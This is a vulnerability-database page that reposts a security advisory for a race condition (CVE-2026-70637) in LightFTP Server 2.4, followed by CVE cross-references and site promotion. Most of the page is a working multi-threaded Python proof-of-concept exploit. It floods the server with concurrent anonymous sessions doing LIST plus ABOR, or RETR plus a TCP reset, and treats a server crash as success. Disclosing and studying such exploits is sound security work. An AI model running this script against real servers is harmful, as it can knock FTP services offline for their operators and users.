Lucene search
+L

LightFTP Server 2.4 Race Condition

🗓️ 07 Aug 2026 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 7 Views

LightFTP Server 2.4 has data races on shared FTP context during ABOR cleanup between control and data threads.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-70637
6 Aug 202614:15
attackerkb
circl
Circl
CVE-2026-70637
6 Aug 202616:14
circl
cve
CVE
CVE-2026-70637
6 Aug 202614:15
cve
cvelist
Cvelist
CVE-2026-70637 LightFTP 2.4 Data Race Condition via ABOR Command in ftpserv.c
6 Aug 202614:15
cvelist
euvd
EUVD
EUVD-2026-53933
6 Aug 202614:15
euvd
nvd
NVD
CVE-2026-70637
6 Aug 202615:17
nvd
packetstorm
Packet Storm
📄 LightFTP Server 2.4 Race Condition
7 Aug 202600:00
packetstorm
vulnrichment
Vulnrichment
CVE-2026-70637 LightFTP 2.4 Data Race Condition via ABOR Command in ftpserv.c
6 Aug 202614:15
vulnrichment
<html><body><p>#!/usr/bin/env python3
#
#
# LightFTP Server 2.4 Race Condition
#
#
# Vendor: LightFTP Project
# Product web page: https://github.com/hfiref0x/LightFTP
# Affected version: 2.4 (d28c5e0)
#
# Summary: Small x86-32/x64 FTP Server.
#
# Desc: LightFTP through version 2.4 (current master, commit d28c5e0) contains
# multiple data races in ftpserv.c caused by unsynchronized access to the shared
# FTPCONTEXT between a connection's control thread and its data-transfer worker
# thread. In worker_thread_cleanup(), invoked by the anonymous-reachable ABOR
# command, the control thread reads and writes context-&gt;data_socket, context-&gt;data_ipv4,
# and context-&gt;worker_thread_abort with no lock, while the detached worker thread
# (list_thread and its siblings) concurrently uses the same data socket and writes
# context-&gt;worker_thread_valid. Version 2.4 removed the MTLock mutex that previously
# guarded this state and replaced it with an atomic busy compare-and-swap that only
# serializes worker startup, not cleanup against a running worker, so the control
# thread closes and clears the data connection while the worker is still operating
# on it. ThreadSanitizer confirms data races at at least 16 distinct source locations
# (5 in worker_thread_cleanup), reproducible by an anonymous user with LIST followed
# by ABOR. The per-run report count is higher and scales with concurrency. The impact
# is undefined behavior with potential denial of service; a crash on a standard release
# build was not demonstrated.
#
# Tested on: Kali Linux
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6002
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6002
# 
# CVE ID: CVE-2026-70637
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-70637
#
#
# 29.07.2026
#

import threading
import argparse
import socket
import struct
import time

_counter_lock = threading.Lock()
_rounds = 0

def _recv(sock, timeout=2.0):
    sock.settimeout(timeout)
    try:
        return sock.recv(4096).decode("latin-1", "replace")
    except OSError:
        return ""

def _send(sock, line):
    sock.sendall((line + "\r\n").encode())

def _pasv_port(resp):
    try:
        a = resp[resp.find("(") + 1: resp.find(")")].split(",")
        if len(a) != 6:
            return None
        return (int(a[4]) &lt;&lt; 8) + int(a[5])
    except (ValueError, IndexError):
        return None

def _hard_reset(sock):
    try:
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
                        struct.pack("ii", 1, 0))
        sock.close()
    except OSError:
        pass

def _one_round(args):
    c = socket.create_connection((args.host, args.port), timeout=5)
    _recv(c)
    _send(c, "USER " + args.user); _recv(c)
    _send(c, "PASS " + args.password); _recv(c)
    _send(c, "TYPE I"); _recv(c)
    _send(c, "PASV")
    dport = _pasv_port(_recv(c))
    if not dport:
        c.close()
        return
    d = socket.create_connection((args.host, dport), timeout=5)
    if args.mode == "drop":
        _send(c, "RETR " + args.file)
        time.sleep(args.gap)
        _hard_reset(c)
        try:
            d.close()
        except OSError:
            pass
    else:
        _send(c, "LIST")
        time.sleep(args.gap)
        _send(c, "ABOR")
        try:
            d.close()
        except OSError:
            pass
        _recv(c, timeout=3)
        try:
            _send(c, "QUIT"); c.close()
        except OSError:
            pass

def session(args, tid):
    global _rounds
    for _ in range(args.iterations):
        try:
            _one_round(args)
            with _counter_lock:
                _rounds += 1
        except OSError:
            break

def main():
    p = argparse.ArgumentParser(description=__doc__,
                                formatter_class=argparse.RawDescriptionHelpFormatter)
    p.add_argument("--host", default="127.0.0.1")
    p.add_argument("--port", type=int, default=2121)
    p.add_argument("--user", default="anonymous")
    p.add_argument("--password", default="x")
    p.add_argument("--connections", type=int, default=16)
    p.add_argument("--iterations", type=int, default=20)
    p.add_argument("--gap", type=float, default=0.0,
                   help="seconds to let the worker run before ABOR / RST")
    p.add_argument("--mode", choices=["abor", "drop"], default="abor",
                   help="abor: LIST+ABOR (data-race path). "
                        "drop: RETR a large file then RST the control "
                        "connection (use-after-free-of-ctx path).")
    p.add_argument("--file", default="big.bin",
                   help="file to RETR in drop mode (make it large, server-side)")
    a = p.parse_args()

    print("[*] mode=%s racing %s:%d with %d connections x %d iterations"
          % (a.mode, a.host, a.port, a.connections, a.iterations))
    threads = [threading.Thread(target=session, args=(a, i))
               for i in range(a.connections)]
    t0 = time.time()
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    print("[+] completed %d rounds in %.1fs" % (_rounds, time.time() - t0))
    print("    watch gdb for SIGSEGV/SIGABRT (drop mode targets use-after-free "
          "of the stack ctx); a server crash is the positive result.")

if __name__ == "__main__":
    main()
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Aug 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.15.9
CVSS 48.2
SSVC
7